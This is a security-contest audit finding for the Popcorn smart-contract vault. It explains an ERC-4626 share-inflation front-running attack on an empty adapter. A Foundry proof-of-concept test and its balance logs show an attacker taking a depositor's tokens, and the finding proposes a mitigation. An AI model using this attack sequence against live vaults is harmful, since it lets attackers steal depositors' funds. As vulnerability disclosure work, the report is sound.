code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/adapter/abstracts/AdapterBase.sol#L193-L204

Vulnerability details

Impact

When the BaseAdapter is empty. Someone can frontrun a user to steal his funds by an inflation attack.

Senario

Lets say Alice wants to deposit 1 token (with decimal 18, so 1e18 units) to the vault calling deposit. This is how the attack would unfold.

The vault is empty.
The exchange rate is the default 1 share per asset
Bob sees Alice’s transaction in the mempool and decide to sandwitch it.
Bob deposits 1 wei to the vault, gets 1 wei of shares in exchange.
The exchange rate is now 1 share per asset
Bob transfers 1 token to the vault (1e18 units) using an ERC-20 transfers. No shares are minted in exchange.
The rate is now 1 share for 1e18+1 asset
Alice deposit is executed. Her 1e18 units of token are not even worth one unit of shares. So the contract takes the assets, but mint no shares. Alice basically donated her tokens.
The rate is now 1 share for 2e18+1 asset
Bob redeem its 1 wei of shares, getting the entire vault assets in exchange. This includes all the token he deposited and transfered plus Alice’s tokens.

(From : https://ethereum-magicians.org/t/address-eip-4626-inflation-attacks-with-virtual-shares-and-assets/12677)

Proof of Concept

Here is the result of the application of the scenario:

  -------------------------------
  Balance of Alice asset:2000000000000000000
  Balance of Alice share:0
  Balance of Bob asset:2000000000000000000
  Balance of Bob share:0
  Balance of vault adapter:0
  Balance of vault asset:0
  -------------------------------
  -------------------------------
  Balance of Alice asset:2000000000000000000
  Balance of Alice share:0
  Balance of Bob asset:1999999999999999999
  Balance of Bob share:1
  Balance of vault adapter:1
  Balance of vault asset:1
  -------------------------------
  -------------------------------
  Balance of Alice asset:2000000000000000000
  Balance of Alice share:0
  Balance of Bob asset:999999999999999999
  Balance of Bob share:1
  Balance of vault adapter:1
  Balance of vault asset:1000000000000000001
  -------------------------------
  -------------------------------
  Balance of Alice asset:1000000000000000000
  Balance of Alice share:0
  Balance of Bob asset:999999999999999999
  Balance of Bob share:1
  Balance of vault adapter:1
  Balance of vault asset:2000000000000000001
  -------------------------------
  -------------------------------
  Balance of Alice asset:1000000000000000000
  Balance of Alice share:0
  Balance of Bob asset:3000000000000000000     <= Bod steal Alice funds
  Balance of Bob share:0
  Balance of vault adapter:0
  Balance of vault asset:0
  -------------------------------

Test condition :

I added this in Vault.t.sol :

function test__inflationAttack() public { // @audit
  uint256 amount = 2e18;
  _setFees(0, 0, 0, 0);

  asset.mint(alice, amount);
  asset.mint(bob, amount);

  console.log("-------------------------------");
  console.log("%s:%d", "Balance of Alice asset", asset.balanceOf(alice));
  console.log("%s:%d", "Balance of Alice share", vault.balanceOf(alice));
  console.log("%s:%d", "Balance of Bob asset", asset.balanceOf(bob));
  console.log("%s:%d", "Balance of Bob share", vault.maxRedeem(bob));
  console.log("%s:%d", "Balance of adapter adapter", adapter.totalSupply());
  console.log("%s:%d", "Balance of adapter asset", asset.balanceOf(address(adapter)));
  console.log("-------------------------------");

  vm.startPrank(bob);
  asset.approve(address(adapter), 1);
  adapter.deposit(1, bob);
  vm.stopPrank();

  console.log("-------------------------------");
  console.log("%s:%d", "Balance of Alice asset", asset.balanceOf(alice));
  console.log("%s:%d", "Balance of Alice share", adapter.balanceOf(alice));
  console.log("%s:%d", "Balance of Bob asset", asset.balanceOf(bob));
  console.log("%s:%d", "Balance of Bob share", adapter.maxRedeem(bob));
  console.log("%s:%d", "Balance of adapter adapter", adapter.totalSupply());
  console.log("%s:%d", "Balance of adapter asset", asset.balanceOf(address(adapter)));
  console.log("-------------------------------");

  vm.startPrank(bob);
  asset.approve(address(adapter), 1e18);
  asset.transfer(address(adapter), 1e18);
  vm.stopPrank();

  console.log("-------------------------------");
  console.log("%s:%d", "Balance of Alice asset", asset.balanceOf(alice));
  console.log("%s:%d", "Balance of Alice share", adapter.balanceOf(alice));
  console.log("%s:%d", "Balance of Bob asset", asset.balanceOf(bob));
  console.log("%s:%d", "Balance of Bob share", adapter.maxRedeem(bob));
  console.log("%s:%d", "Balance of adapter adapter", adapter.totalSupply());
  console.log("%s:%d", "Balance of adapter asset", asset.balanceOf(address(adapter)));
  console.log("-------------------------------");

  vm.startPrank(alice);
  asset.approve(address(adapter), 1e18);
  adapter.deposit(1e18, alice);
  vm.stopPrank();

  console.log("-------------------------------");
  console.log("%s:%d", "Balance of Alice asset", asset.balanceOf(alice));
  console.log("%s:%d", "Balance of Alice share", adapter.balanceOf(alice));
  console.log("%s:%d", "Balance of Bob asset", asset.balanceOf(bob));
  console.log("%s:%d", "Balance of Bob share", adapter.maxRedeem(bob));
  console.log("%s:%d", "Balance of adapter adapter", adapter.totalSupply());
  console.log("%s:%d", "Balance of adapter asset", asset.balanceOf(address(adapter)));
  console.log("-------------------------------");

  vm.startPrank(bob);
  adapter.redeem(1,bob,bob);
  vm.stopPrank();

  console.log("-------------------------------");
  console.log("%s:%d", "Balance of Alice asset", asset.balanceOf(alice));
  console.log("%s:%d", "Balance of Alice share", adapter.balanceOf(alice));
  console.log("%s:%d", "Balance of Bob asset", asset.balanceOf(bob));
  console.log("%s:%d", "Balance of Bob share", adapter.maxRedeem(bob));
  console.log("%s:%d", "Balance of adapter adapter", adapter.totalSupply());
  console.log("%s:%d", "Balance of adapter asset", asset.balanceOf(address(adapter)));
  console.log("-------------------------------");

  // have to fail : for log printing
  assertEq(amount, 2);
}

I ran out of time on this one so I was not able to bench test the real AdapterBase. So I changed the MockERC4626 the match the AdapterBase specifications.

Tools Used

Foundry test

Recommended Mitigation Steps

You can refer to this artical : https://ethereum-magicians.org/t/address-eip-4626-inflation-attacks-with-virtual-shares-and-assets/12677

Or add this line at the beginning of the redeem() function of AdapterBase :

if ((assets = previewRedeem(shares)) == 0) revert();

c4-judge commented 1 year ago

dmvt marked the issue as duplicate of #15

c4-sponsor commented 1 year ago

RedVeil marked the issue as sponsor confirmed